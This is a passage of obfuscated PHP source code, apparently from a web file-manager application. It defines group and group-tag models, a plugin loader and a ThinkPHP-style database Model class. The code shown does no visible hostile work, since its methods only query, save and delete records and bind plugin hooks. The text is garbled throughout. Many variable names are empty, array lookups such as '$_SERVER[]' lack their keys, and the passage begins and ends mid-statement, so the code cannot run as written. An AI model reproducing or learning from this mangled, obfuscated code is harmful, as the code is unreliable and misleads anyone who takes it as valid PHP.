"\x25{$Ƈ}\45")); $ = $this->parseWhereLike($); if ($ϴ) { $[$Н[1852]] = array($Н[7], $ϴ); } $ = Model($Н[1951])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $Н[12], $Н[1852]); $ď = $this->where(array($Н[1940] => array($Н[7], $)))->select(); if (!$ď) { return array(); } return $ď; } protected function _listDataApplyItem($ޥ) { $ = array($ޥ); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $ =& $_SERVER[]; if (!$) { return; } $Ƀ = array_to_keyvalue($, $[12], $[1852]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $Ƀ); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $Ƀ); } private function _listAppendChildren(&$ؽ) { $ =& $_SERVER[]; $ꢬ = array_to_keyvalue($ؽ, $[12], $[1852]); $ = array($[432] => array($[7], $ꢬ)); $ = array($[432], $[1952] => $[491]); $졕 = $this->field($)->where($)->group($[432])->select(); $ۥ = array_to_keyvalue($졕, $[432], $[491]); foreach ($ؽ as &$) { $ß = $[$[1852]]; $[$[1953]] = isset($ۥ[$ß]) ? intval($ۥ[$ß]) : !1; } unset($); } private function _listAppendChildrenMember(&$ӀƗ) { $ՈÈ =& $_SERVER[]; $Ўܨ = array_to_keyvalue($ӀƗ, $ՈÈ[12], $ՈÈ[1852]); $ = array($ՈÈ[1852] => array($ՈÈ[7], $Ўܨ)); $ = array($ՈÈ[1852], $ՈÈ[1952] => $ՈÈ[491]); $ = Model($ՈÈ[1942])->field($)->where($)->group($ՈÈ[1852])->select(); $̚ = array_to_keyvalue($, $ՈÈ[1852], $ՈÈ[491]); foreach ($ӀƗ as &$) { $ˏ = $[$ՈÈ[1852]]; $[$ՈÈ[1954]] = isset($̚[$ˏ]) ? intval($̚[$ˏ]) : !1; } unset($); } private function _listAppendMeta(&$, $շ) { $͌ =& $_SERVER[]; $ݛ = array($͌[1852] => array($͌[7], $շ)); $ = Model($͌[1941])->where($ݛ)->select(); $ = array_to_keyvalue_group($, $͌[1852]); foreach ($ as &$) { $ = array_to_keyvalue($, $͌[94], $͌[374]); } unset($); foreach ($ as &$ܛ) { $ܛ[$͌[466]] = array(); if (isset($[$ܛ[$͌[1852]]])) { $ܛ[$͌[466]] = $[$ܛ[$͌[1852]]]; } } unset($ܛ); } protected function parentLevelArray($؋) { $ =& $_SERVER[]; $؋ = explode($[50], trim($؋, $[50])); $؋ = array_remove_value($؋, $[198]); return $؋; } protected function parentInGroup($ִ, $Җ) { $Ō =& $_SERVER[]; $ڱ = $this->getInfoSimple($ִ); if (!$ڱ) { return !0; } $˱ = $this->parentLevelArray($ڱ[$Ō[511]]); $˱[] = $ִ; foreach ($˱ as $ִ) { if (in_array($ִ . $Ō[12], $Җ)) { return !0; } } return !1; } private function _listAppendParent(&$ӊ) { $ =& $_SERVER[]; $娞 = array(); foreach ($ӊ as &$ӓ) { $娞[$ӓ[$[1852]]] = $ӓ[$[32]]; $ʑ = $this->parentLevelArray($ӓ[$[511]]); foreach ($ʑ as $ށƈ) { if (!isset($娞[$ށƈ])) { $娞[$ށƈ] = 0; } } } unset($ӓ); foreach ($娞 as $ᔁ => $) { if ($) { continue; } $ = $this->getInfoSimple($ᔁ); $娞[$ᔁ] = $[$[32]]; } $ = $GLOBALS[$[6]][$[89]][$[1955]]; if ($GLOBALS[$[494]] == $[88]) { $ = !1; } foreach ($ӊ as &$ӓ) { $ʑ = $this->parentLevelArray($ӓ[$[511]]); $͋ = $[12]; foreach ($ʑ as $ᔁ => $ށƈ) { if ($ && $ᔁ == 0) { continue; } $͋ .= $娞[$ށƈ] . $[8]; } if ($ʑ) { $͋ .= $ӓ[$[32]]; } $ӓ[$[516]] = str_replace($[519], $[8], $͋); } unset($ӓ); } private function _listAppendSourceRoot(&$⃗, $ѽ) { $ұʌ =& $_SERVER[]; $ = Model($ұʌ[822])->listSourceRoot(SourceModel::TYPE_GROUP, $ѽ); $ = array_to_keyvalue($, $ұʌ[496]); $ = array_remove_key($, $ұʌ[496]); foreach ($⃗ as &$) { $[$ұʌ[87]] = $[$[$ұʌ[1852]]] ? $[$[$ұʌ[1852]]] : array(); } unset($); } protected function groupMerge($ߑ) { $ߑ = array_values(array_unique($ߑ)); $͈ = array(); for ($ = 0; $ < count($ߑ); $++) { $ֻ = !1; for ($ܿ = 0; $ܿ < count($ߑ); $ܿ++) { if ($ == $ܿ) { continue; } if ($this->isParentOf($ߑ[$ܿ], $ߑ[$])) { $ֻ = !0; break; } } if (!$ֻ) { $͈[] = $ߑ[$]; } } return $͈; } protected function isParentOf($̟Ƃ, $с) { $̾ =& $_SERVER[]; if (!$̟Ƃ || !$с || $̟Ƃ == $с) { return !1; } $ = $this->getInfoSimple($̟Ƃ); $ȧ = $this->getInfoSimple($с); $강 = $[$̾[511]] . $̟Ƃ . $̾[50]; if (substr($ȧ[$̾[511]], 0, strlen($강)) == $강) { return !0; } return !1; } public function groupShowRoot($ϯӃ, $ = false) { $ =& $_SERVER[]; $ӫЬ = $this->getInfo($ϯӃ); if (!$ӫЬ) { return array(); } $ = $this->parentLevelArray($ӫЬ[$[511]]); $Ի = array($ϯӃ); if (count($) == 0) { return $Ի; } if ($ && count($) == 1) { return $Ի; } if (!$ӫЬ[$[466]] || !isset($ӫЬ[$[466]][$[1938]]) || $ӫЬ[$[466]][$[1938]] == $[1907]) { return $this->groupShowRoot($[count($) - 1], $); } if ($ӫЬ[$[466]][$[1938]] == $[357]) { $̧νܸ = explode($[50], $ӫЬ[$[466]][$[1939]]); if ($̧νܸ) { $Ի = array_merge($Ի, $̧νܸ); } } return $Ի; } protected function resetParentLevel() { $ =& $_SERVER[]; $ӻ = $[1852]; $ = $this->select(); $ = array_to_keyvalue($, $ӻ); foreach ($ as $Ň) { $ = $Ň; $ = array(); while ($[$[432]] != 0) { $[] = $[$[432]]; $ = $[$[$[432]]]; } $[] = 0; $ = $[50] . implode($[50], array_reverse($)) . $[50]; $this->setNamePinyin($Ň[$ӻ], $Ň[$[32]]); $this->where(array($ӻ => $Ň[$ӻ]))->save(array($[580] => $)); } return $; } public function groupNameAuto($, $ᗒ) { $ =& $_SERVER[]; $Υ = $this->where(array($[401] => $))->getField($[32], !0); if (!$Υ || !in_array($ᗒ, $Υ)) { return $ᗒ; } for ($Ꞓ = 1; $Ꞓ <= count($Υ) + 1; $Ꞓ++) { $ = $ᗒ . "\x28{$Ꞓ}\x29"; if (!in_array($, $Υ)) { return $; } } } public function groupSwitch($, $) { $楲 =& $_SERVER[]; $ł = array($楲[1852] => array($楲[7], array($, $))); $ = $this->where($ł)->select(); $ = array_to_keyvalue($, $楲[1852]); if (!isset($[$]) || !isset($[$]) || $[$][$楲[432]] == 0) { return !1; } $ł = array($楲[1852] => $); $ழ = Model($楲[1942])->where($ł)->select(); if (!$ழ) { $ழ = array(); } foreach ($ழ as $褗) { $ = $褗[$楲[1663]]; $ł = array($楲[1663] => $, $楲[1852] => $); $ʪ = Model($楲[1942])->where($ł)->find(); if (!$ʪ) { $̷ = array($ => $褗[$楲[1956]]); Model($楲[525])->userGroupAdd($, $̷); } Model($楲[525])->userGroupRemove($, $); } $ł = array($楲[411] => 2, $楲[432] => 0, $楲[410] => 1, $楲[496] => array($楲[7], array($, $))); $ͪ = Model($楲[822])->where($ł)->field($楲[1957])->select(); $ͪ = array_to_keyvalue($ͪ, $楲[496], $楲[402]); $σ = !empty($ͪ[$]) ? $ͪ[$] : !1; if ($σ) { if (!$ͪ[$]) { $ͪ[$] = Model($楲[822])->groupRootAdd($); } $ = $ͪ[$]; $ł = array($楲[432] => $σ); $ͪ = Model($楲[822])->where($ł)->field($楲[1958])->select(); if (!$ͪ) { $ͪ = array(); } Model($楲[822])->moveClearAuth = !1; foreach ($ͪ as $ԭʵ) { $ = $ԭʵ[$楲[410]] == $楲[88] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($楲[822])->move($ԭʵ[$楲[402]], $, $); } Model($楲[822])->moveClearAuth = !0; $ł = array($楲[411] => 2, $楲[496] => $); $Ȟ = array($楲[496] => $); Model($楲[1959])->where($ł)->save($Ȟ); Model($楲[1960])->where($ł)->save($Ȟ); } $this->_changeChildLevel($[$], $[$], !0); $this->where(array($楲[432] => $))->save(array($楲[432] => $)); $this->_clearChildrenCache($[$]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\145\162\137\146\x61\x76"; protected function cacheFunctionAlias($ƃͰ) { $ܬĪ =& $_SERVER[]; return array($ܬĪ[1961] => array($ƃͰ[0], $ܬĪ[1962]), $ܬĪ[1963] => array($ƃͰ[0], $ܬĪ[1964])); } protected function get($Ž) { $̍ =& $_SERVER[]; $ = Model($̍[512])->metaGet($Ž, $̍[1965]); $б = json_decode($, !0); return $б ? $б : array($̍[1966] => $̍[88], $̍[369] => array()); } protected function set($ҟ, $) { $ =& $_SERVER[]; $ = $ ? $ : array($[1966] => $[88], $[369] => array()); return Model($[512])->metaSet($ҟ, $[1965], json_encode($)); } protected function getByTagID($ѿ, $) { $ܻ =& $_SERVER[]; if (!$ѿ || !$) { return !1; } if (!Model($ܻ[512])->getInfoSimple($ѿ)) { return !1; } $ç = $this->get($ѿ); if (!$ç || !isset($ç[$ܻ[369]])) { return !1; } $夓 = array_find_by_field($ç[$ܻ[369]], $ܻ[399], $); return is_array($夓) ? $夓 : !1; } public function listSource($ü, $) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = $this->listData($ü); $Ē = array(); foreach ($ as $) { $ = $[$[84]]; if (!$) { continue; } if (!isset($Ē[$])) { $Ē[$] = array(); } $Ē[$][] = $[$[426]]; } $̣ = array(); foreach ($Ē as $ԑܡ => $) { $榵 = !0; if (!$) { $̣[] = $ԑܡ; continue; } foreach ($ as $ϼ) { if (!in_array($ϼ, $)) { $榵 = !1; break; } } if ($榵) { $̣[] = $ԑܡ; } } if (!$̣) { return array(); } $ = array($[417] => array($[418], $̣), $[496] => $ü, $[411] => SourceModel::TYPE_GROUP); $ = Model($[1335])->listSource($); if (!$ || count($̣) == $[$[366]][$[367]]) { return $; } $߫ = array(); $م = array_to_keyvalue($[$[82]], $[12], $[402]); $ = array_to_keyvalue($[$[83]], $[12], $[402]); $ = array_merge($, $م); foreach ($̣ as $) { if (!in_array($, $)) { $߫[] = $; } } if ($߫) { $this->removeBySource($ü, $߫); } return $; } protected function listData($Ĩ) { $쯶 =& $_SERVER[]; $ǿկ = array($쯶[1654] => 0, $쯶[483] => array($쯶[1967], 0), $쯶[422] => $쯶[1968] . $Ĩ); $۽ = $쯶[1969]; $ܾ = $this->field($۽)->where($ǿկ)->order($쯶[1970])->select(); return $ܾ ? $ܾ : array(); } protected function addToTag($, $, $Є) { $㏤ =& $_SERVER[]; if (!$this->getByTagID($, $Є) || !$) { return !1; } if (!Model($㏤[822])->pathInfo($)) { return !1; } $ݸ = array($㏤[1654] => 0, $㏤[483] => $Є, $㏤[421] => $, $㏤[422] => $㏤[1971] . $, $㏤[420] => $㏤[12], $㏤[1856] => 0); if ($this->where($ݸ)->find()) { return !1; } return $this->add($ݸ); } protected function removeFromTag($, $ڀ, $䇴) { $։ =& $_SERVER[]; if (!$this->getByTagID($, $䇴) || !$ڀ) { return !1; } if (is_array($ڀ)) { $ڀ = array($։[7], $ڀ); } $̦ = array($։[1654] => 0, $։[483] => $䇴, $։[422] => $։[1971] . $, $։[421] => $ڀ); return $this->where($̦)->delete(); } protected function removeByTag($Ӛ, $Ĥ) { $ݒ =& $_SERVER[]; if (!$this->getByTagID($Ӛ, $Ĥ)) { return !1; } $ҝ˩ = array($ݒ[1654] => 0, $ݒ[483] => $Ĥ, $ݒ[422] => $ݒ[1971] . $Ӛ); return $this->where($ҝ˩)->delete(); } protected function removeBySource($汊, $) { $Ƶ =& $_SERVER[]; if (!$汊 || !$) { return !1; } if (is_array($)) { $ = array($Ƶ[7], $); } $ֺ = array($Ƶ[1654] => 0, $Ƶ[421] => $, $Ƶ[483] => array($Ƶ[1010], 0), $Ƶ[422] => $Ƶ[1971] . $汊); return $this->where($ֺ)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\x65\155\x2e\160\154\165\147\x69\156\x4c\151\x73\164"; public $field = array("\156\141\x6d\145", "\163\164\141\164\165\163", "\x72\x65\147\151\x65\163\164", "\x63\x6f\156\146\x69\x67"); public function loadList($ = false) { $ = array_to_keyvalue($this->listData(), $_SERVER[][32]); if ($) { return $[$]; } return $; } public function init() { $Ɛ租 =& $_SERVER[]; Hook::trigger($Ɛ租[1972]); $ = $this->loadPluginList(); foreach ($ as $ήѨ => $ܥ) { $ = $this->appAllow($ήѨ, $ܥ); if (!$) { continue; } foreach ($ܥ[$Ɛ租[1973]] as $ => $) { Hook::bind($, $); } } Hook::trigger($Ɛ租[1974]); Hook::trigger(ACTION); } public function appAllow($ݟ۱, $߱⟿, $ܣ = true) { $ =& $_SERVER[]; $ = PLUGIN_DIR . $ݟ۱ . $[1975]; if (!is_array($߱⟿) || !is_array($߱⟿[$[1973]]) || $߱⟿[$[746]] != 1 || !is_file($)) { return !1; } if ($GLOBALS[$[494]] == 1) { if ($GLOBALS[$[6]][$[1976]] || !$GLOBALS[$[6]][$[1977]]) { return !0; } $➁ = explode($[50], strtolower($GLOBALS[$[6]][$[1977]])); return in_array(strtolower($ݟ۱), $➁) ? !1 : !0; } if ($ܣ && !Action($[1978])->checkAuth($ݟ۱)) { return !1; } return !0; } public function unInstall($ν) { $ӽ =& $_SERVER[]; $ = $this->loadList($ν); if (file_exists(PLUGIN_DIR . $ν)) { Hook::apply($ν . $ӽ[1979]); } $this->remove($[$ӽ[399]]); } public function changeStatus($NJ, $ꊦ) { $ =& $_SERVER[]; $ = $this->loadList($NJ); if ($ꊦ) { Hook::apply($NJ . $[1980]); } $this->update($[$[399]], array($[1981] => $ꊦ)); } public function appRegist($ׄ, $ϳ) { $ =& $_SERVER[]; $ = $this->loadList($ׄ); if ($) { $this->update($[$[399]], array($[1973] => $ϳ)); } else { $ = array($[32] => $ׄ, $[1973] => $ϳ, $[746] => 0, $[6] => $this->getConfigDefault($ׄ)); $this->insert($); } } public function getConfigDefault($Ƥ) { $Ӻ =& $_SERVER[]; $Ǧ˺ = array(); $ߓك = $this->getPackageJson($Ƥ); if (!$ߓك && is_array($ߓك[$Ӻ[1982]])) { return $Ǧ˺; } foreach ($ߓك[$Ӻ[1982]] as $ü => $) { if (!isset($[$Ӻ[374]]) || isset($Ǧ˺[$ü])) { continue; } $Ǧ˺[$ü] = $[$Ӻ[374]]; } return $Ǧ˺; } public function getPackageJson($槼) { return Hook::apply($槼 . $_SERVER[][1983]); } public function getConfig($棏Ԅ, $ڀ = false) { $ =& $_SERVER[]; $ꕷ = array(); $س = $this->loadList($棏Ԅ); if ($س && is_array($س[$[6]])) { $ꕷ = $س[$[6]]; } if (!$ꕷ || $ڀ) { $ꕷ = $this->getConfigDefault($棏Ԅ); } return $ꕷ; } public function setConfig($خ, $ٓ = false) { $ђ =& $_SERVER[]; $ = $this->loadList($خ); if (!$) { return !1; } $ = $[$ђ[6]]; if ($ٓ == !1) { $ = array(); $ٓ = $this->getConfigDefault($خ); } foreach ($ٓ as $ => $̣ô) { $[$] = is_string($̣ô) ? trim($̣ô) : $̣ô; } $this->update($[$ђ[399]], array($ђ[6] => $)); } public function viewList() { $ =& $_SERVER[]; $䮍 = $this->loadList(); $this->pluginScan($䮍); $䮍 = $this->loadPluginList(); $ˎ = array(); foreach ($䮍 as $ => $ϙ) { unset($ϙ[$[1973]], $ϙ[$[6]]); $ޥ = PLUGIN_DIR . $ϙ[$[32]] . $[1975]; if (!is_file($ޥ)) { continue; } $ = Hook::apply($ϙ[$[32]] . $[1983]); if (is_array($)) { $ˎ[$] = array_merge($ϙ, $); } } return $ˎ; } private function loadPluginList() { $Ɲ =& $_SERVER[]; $ = $this->loadList(); if (strtolower(MOD) == $Ɲ[1984]) { return $; } $Ȁި = Hook::trigger($Ɲ[1985], $); if ($ && !$Ȁި) { die; } return $Ȁި ? $Ȁި : $; } private function pluginScan($ޔ) { $ȩ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $ﳩ, $, 0); foreach ($ﳩ as $ߠ) { $ = get_path_this($ߠ); if (isset($ޔ[$]) || !file_exists($ߠ . $ȩ[1986]) || !file_exists($ߠ . $ȩ[1975])) { continue; } Hook::apply($ . $ȩ[1980]); } } } goto F; Aǖ: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\x64"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\141\x62\x6c\145", "\157\x72\144\145\x72", "\x61\x6c\x69\141\x73", "\x68\141\x76\x69\x6e\147", "\x67\x72\x6f\165\x70", "\154\x6f\143\x6b", "\x64\x69\163\164\151\156\x63\x74", "\141\x75\x74\x6f", "\146\151\154\164\x65\x72", "\x76\x61\x6c\x69\144\x61\164\145", "\x72\145\163\165\x6c\164", "\x62\151\156\144", "\164\157\153\145\156"); public function __construct($ = '', $ܠ = '', $ = '') { $Ԇ =& $_SERVER[]; $this->_initialize(); if (!empty($)) { if (strpos($, $Ԇ[10])) { list($this->dbName, $this->name) = explode($Ԇ[10], $); } else { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($ܠ)) { $this->tablePrefix = $Ԇ[12]; } elseif ($Ԇ[12] != $ܠ) { $this->tablePrefix = $ܠ; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($Ԇ[244]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[245])) { $܁ = $this->dbName ? $this->dbName : think_config($[246]); $ = think_var_cache($[247] . strtolower(get_path_this($܁) . $[10] . $this->name)); if ($) { $ț = think_config($[248]); if (empty($ț) || $[$[249]] == $ț) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ۜ =& $_SERVER[]; $this->db->setModel($this->name); $갧 = $this->db->getFields($this->getTableName()); if (!$갧) { return !1; } $this->fields = array_keys($갧); $this->fields[$ۜ[250]] = !1; foreach ($갧 as $ => $ӡ) { $[$] = $ӡ[$ۜ[33]]; if ($ӡ[$ۜ[39]]) { $this->fields[$ۜ[251]] = $; if ($ӡ[$ۜ[42]]) { $this->fields[$ۜ[250]] = !0; } } } $this->fields[$ۜ[252]] = $; if (think_config($ۜ[248])) { $this->fields[$ۜ[249]] = think_config($ۜ[248]); } if (think_config($ۜ[245])) { $Ћ = $this->dbName ? $this->dbName : think_config($ۜ[246]); think_var_cache($ۜ[247] . strtolower(get_path_this($Ћ) . $ۜ[10] . $this->name), $this->fields); } } public function switchModel($, $ = array()) { $招 =& $_SERVER[]; $ = ucwords(strtolower($)) . $招[253]; if (!class_exists($)) { think_exception($ . think_lang($招[254])); } $this->_extModel = new $($this->name); if (!empty($)) { foreach ($ as $ŭ) { $this->_extModel->setProperty($ŭ, $this->{$ŭ}); } } return $this->_extModel; } public function __set($, $¢ގ) { $this->data[$] = $¢ގ; } public function __get($) { return isset($this->data[$]) ? $this->data[$] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public function __call($, $ǵ) { $ =& $_SERVER[]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $ǵ[0]; return $this; } elseif (in_array(strtolower($), array($[255], $[256], $[257], $[258], $[259]), !0)) { $ = isset($ǵ[0]) ? $ǵ[0] : $[189]; $ = $this->db->parseKey($); return $this->getField(strtoupper($) . $[260] . $ . $[261] . $, $[255]); } elseif (strtolower(substr($, 0, 5)) == $[262]) { $ = think_parse_name(substr($, 5)); $[$] = $ǵ[0]; return $this->where($)->find(); } elseif (strtolower(substr($, 0, 10)) == $[263]) { $ = think_parse_name(substr($, 10)); $[$] = $ǵ[0]; return $this->where($)->getField($ǵ[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $ǵ[0]); } elseif (method_exists($this, $)) { array_unshift($ǵ, $); return call_user_func_array(array($this, $[264]), $ǵ); } else { return call_user_func_array(array(parent, $), $ǵ); } } protected function call() { $ =& $_SERVER[]; $ѷ = func_get_args(); $ = array_shift($ѷ); $ܝ = $; if (is_array($)) { $ܝ = $[1]; $ = $[0]; } $Ǎ = count($ѷ) - 1; if (isset($ѷ[$Ǎ]) && $ѷ[$Ǎ] === $) { think_exception(__CLASS__ . $[4] . $ . think_lang($[265])); return; } $ѷ[] = $; if (method_exists($this, $[266])) { $ғ = call_user_func_array(array($this, $[267]), array($ܝ, $ѷ)); if (!is_null($ғ) && $ғ !== !1) { return $ғ; } } $͞Ҷ = call_user_func_array(array($this, $), $ѷ); if (method_exists($this, $[268])) { $ғ = call_user_func_array(array($this, $[269]), array($ܝ, $ѷ, $͞Ҷ)); if ($ғ) { return $ғ; } } return $͞Ҷ; } protected function _initialize() { } protected function _facade($) { $ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $ü => $ÛрƵ) { if (is_array($this->fields) && !in_array($ü, $this->fields, !0)) { unset($[$ü]); } elseif (is_scalar($ÛрƵ)) { $this->_parseType($, $ü); } } } if (!empty($this->options[$[270]])) { $ = array_map($this->options[$[270]], $); unset($this->options[$[270]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$) { } public function add($ = '', $ = array(), $Ē = false) { if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][271]); return !1; } } $ = $this->_parseOptions($); $ = $this->_facade($); if (!1 === $this->_beforeInsert($, $)) { return !1; } $ϔҳ = $this->db->insert($, $, $Ē); if (!1 !== $ϔҳ) { $ȫ = $this->getLastInsID(); if ($ȫ) { $[$this->getPk()] = $ȫ; $this->_after_insert($, $); return $ȫ; } $this->_after_insert($, $); } return $ϔҳ; } protected function _beforeInsert(&$ǧ, $ǂ) { } protected function _after_insert($, $ϛ) { } public function addAll($, $½ = array(), $❞ = false) { $ն =& $_SERVER[]; if (empty($)) { $this->error = think_lang($ն[271]); return !1; } $½ = $this->_parseOptions($½); foreach ($ as $ա => $ȧ) { $[$ա] = $this->_facade($ȧ); } if (method_exists($this->db, $ն[272])) { $ = $this->db->insertAll($, $½, $❞); } else { $this->startTrans(); foreach ($ as $ա => $ȧ) { $ = $this->db->insert($ȧ, $½, $❞); } $this->commit(); } if (!1 !== $) { $쯞 = $this->getLastInsID(); if ($쯞) { return $쯞; } } return $; } public function selectAdd($ = '', $Ñ = '', $櫞 = array()) { $¹׃ =& $_SERVER[]; $櫞 = $this->_parseOptions($櫞); if (!1 === ($ = $this->db->selectInsert($ ? $ : $櫞[$¹׃[273]], $Ñ ? $Ñ : $this->getTableName(), $櫞))) { $this->error = think_lang($¹׃[274]); return !1; } else { return $; } } public function save($͊ب = '', $撂 = array()) { $麫 =& $_SERVER[]; if (empty($͊ب)) { if (!empty($this->data)) { $͊ب = $this->data; $this->data = array(); } else { $this->error = think_lang($麫[271]); return !1; } } $͊ب = $this->_facade($͊ب); $撂 = $this->_parseOptions($撂); $ = $this->getPk(); if (!isset($撂[$麫[275]])) { if (isset($͊ب[$])) { $ˑ[$] = $͊ب[$]; $撂[$麫[275]] = $ˑ; unset($͊ب[$]); } else { $this->error = think_lang($麫[274]); return !1; } } if (is_array($撂[$麫[275]]) && isset($撂[$麫[275]][$])) { $Յ = $撂[$麫[275]][$]; } if (!1 === $this->_beforeUpdate($͊ب, $撂)) { return !1; } $ӎ = $this->db->update($͊ب, $撂); if (!1 !== $ӎ) { if (isset($Յ)) { $͊ب[$] = $Յ; } $this->_afterUpdate($͊ب, $撂); } return $ӎ; } protected function _beforeUpdate(&$鷉, $ì䁙) { } protected function _afterUpdate($ݵʹ, $Պ؍) { } public function delete($س = array()) { $ =& $_SERVER[]; if (empty($س) && empty($this->options[$[275]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $㔠 = $this->getPk(); if (is_numeric($س) || is_string($س)) { if (strpos($س, $[50])) { $蓷[$㔠] = array($[276], $س); } else { $蓷[$㔠] = $س; } $this->options[$[275]] = $蓷; } $س = $this->_parseOptions(); if (is_array($س[$[275]]) && isset($س[$[275]][$㔠])) { $ȡ߬ = $س[$[275]][$㔠]; } $ο = $this->db->delete($س); if (!1 !== $ο) { $ = array(); if (isset($ȡ߬)) { $[$㔠] = $ȡ߬; } $this->_after_delete($, $س); } return $ο; } protected function _after_delete($, $ԍ) { } public function select($Ԃ֞ = array()) { $朻 =& $_SERVER[]; if (is_string($Ԃ֞) || is_numeric($Ԃ֞)) { $ = $this->getPk(); if (strpos($Ԃ֞, $朻[50])) { $ݶ[$] = array($朻[276], $Ԃ֞); } else { $ݶ[$] = $Ԃ֞; } $this->options[$朻[275]] = $ݶ; } elseif (!1 === $Ԃ֞) { $Ԃ֞ = $this->_parseOptions(); return $朻[277] . $this->db->buildSelectSql($Ԃ֞) . $朻[278]; } $Ԃ֞ = $this->_parseOptions(); $ = $this->db->select($Ԃ֞); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->_afterSelect($, $Ԃ֞); return $; } protected function _afterSelect(&$ԫے, $) { } public function buildSql($ = array()) { $چ =& $_SERVER[]; $ = $this->_parseOptions($); return $چ[277] . $this->db->buildSelectSql($) . $چ[278]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($ؼ閉 = array()) { $ =& $_SERVER[]; if (is_array($ؼ閉)) { $ؼ閉 = array_merge($this->options, $ؼ閉); } $this->options = array(); if (!isset($ؼ閉[$[279]])) { $ؼ閉[$[279]] = $this->getTableName(); $Èġ = $this->fields; } else { $Èġ = $this->getDbFields(); } if (!empty($ؼ閉[$[280]])) { $ؼ閉[$[279]] .= $[53] . $ؼ閉[$[280]]; } $ؼ閉[$[281]] = $this->name; if (isset($ؼ閉[$[275]]) && is_array($ؼ閉[$[275]]) && !empty($Èġ) && !isset($ؼ閉[$[282]]) && !isset($ؼ閉[$[279]])) { foreach ($ؼ閉[$[275]] as $Ƨ => $ĸ) { $Ƨ = trim($Ƨ); if (in_array($Ƨ, $Èġ, !0)) { if (is_scalar($ĸ)) { $this->_parseType($ؼ閉[$[275]], $Ƨ); } } elseif (!is_numeric($Ƨ) && $[11] != substr($Ƨ, 0, 1) && !1 === strpos($Ƨ, $[10]) && !1 === strpos($Ƨ, $[260]) && !1 === strpos($Ƨ, $[283]) && !1 === strpos($Ƨ, $[284])) { unset($ؼ閉[$[275]][$Ƨ]); } } } $this->_options_filter($ؼ閉); return $ؼ閉; } protected function _options_filter(&$Ҥ) { } protected function _parseType(&$, $) { $ =& $_SERVER[]; if (empty($this->options[$[285]][$[4] . $])) { $ψ = strtolower($this->fields[$[252]][$]); if (!1 !== strpos($ψ, $[286])) { } elseif (!1 === strpos($ψ, $[287]) && !1 !== strpos($ψ, $[288])) { $[$] = intval($[$]); } elseif (!1 !== strpos($ψ, $[289]) || !1 !== strpos($ψ, $[290])) { $[$] = floatval($[$]); } elseif (!1 !== strpos($ψ, $[291])) { $[$] = (bool) $[$]; } } } public function find($ = array()) { $ʟ =& $_SERVER[]; if (is_numeric($) || is_string($)) { $[$this->getPk()] = intval($); $this->options[$ʟ[275]] = $; } $this->options[$ʟ[292]] = 1; $ = $this->_parseOptions(); $չ = $this->db->select($); if (!1 === $չ) { return !1; } if (empty($չ)) { return null; } $this->data = $չ[0]; $this->_afterFind($this->data, $); if (!empty($this->options[$ʟ[293]])) { return $this->returnResult($this->data, $this->options[$ʟ[293]]); } return $this->data; } protected function _afterFind(&$, $䋗) { } protected function returnResult($ֺ, $ = '') { $ =& $_SERVER[]; if ($) { if (is_callable($)) { return call_user_func($, $ֺ); } switch (strtolower($)) { case $[294]: return json_encode($ֺ); case $[295]: return xml_encode($ֺ); } } return $ֺ; } public function parseFieldsMap($֥, $ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $IJأ => $Σ) { if ($ == 1) { if (isset($֥[$Σ])) { $֥[$IJأ] = $֥[$Σ]; unset($֥[$Σ]); } } else { if (isset($֥[$IJأ])) { $֥[$Σ] = $֥[$IJأ]; unset($֥[$IJأ]); } } } } return $֥; } public function setField($, $ս = '') { if (is_array($)) { $П = $; } else { $П[$] = $ս; } return $this->save($П); } public function setAdd($좷, $Ф = 1) { $ݐ =& $_SERVER[]; $ʱ = $좷 . $ݐ[296] . $Ф; if ($Ф < 0) { $ʱ = $좷 . $Ф; } return $this->setField($좷, array($ݐ[297], $ʱ)); } public function getField($Ŧ, $ɐ = null) { $ԅ =& $_SERVER[]; $ƺ[$ԅ[273]] = $Ŧ; $ƺ = $this->_parseOptions($ƺ); $Ŧ = trim($Ŧ); if (strpos($Ŧ, $ԅ[50])) { if (!isset($ƺ[$ԅ[292]])) { $ƺ[$ԅ[292]] = is_numeric($ɐ) ? $ɐ : $ԅ[12]; } $ = $this->db->select($ƺ); if (!empty($)) { $Ɵ = explode($ԅ[50], $Ŧ); $Ŧ = array_keys($[0]); $ߕ = array_shift($Ŧ); $ = array_shift($Ŧ); $ = array(); $ = count($Ɵ); foreach ($ as $љڭ) { $휽 = $љڭ[$ߕ]; if (2 == $) { $[$휽] = $љڭ[$]; } else { $[$휽] = is_string($ɐ) ? implode($ɐ, $љڭ) : 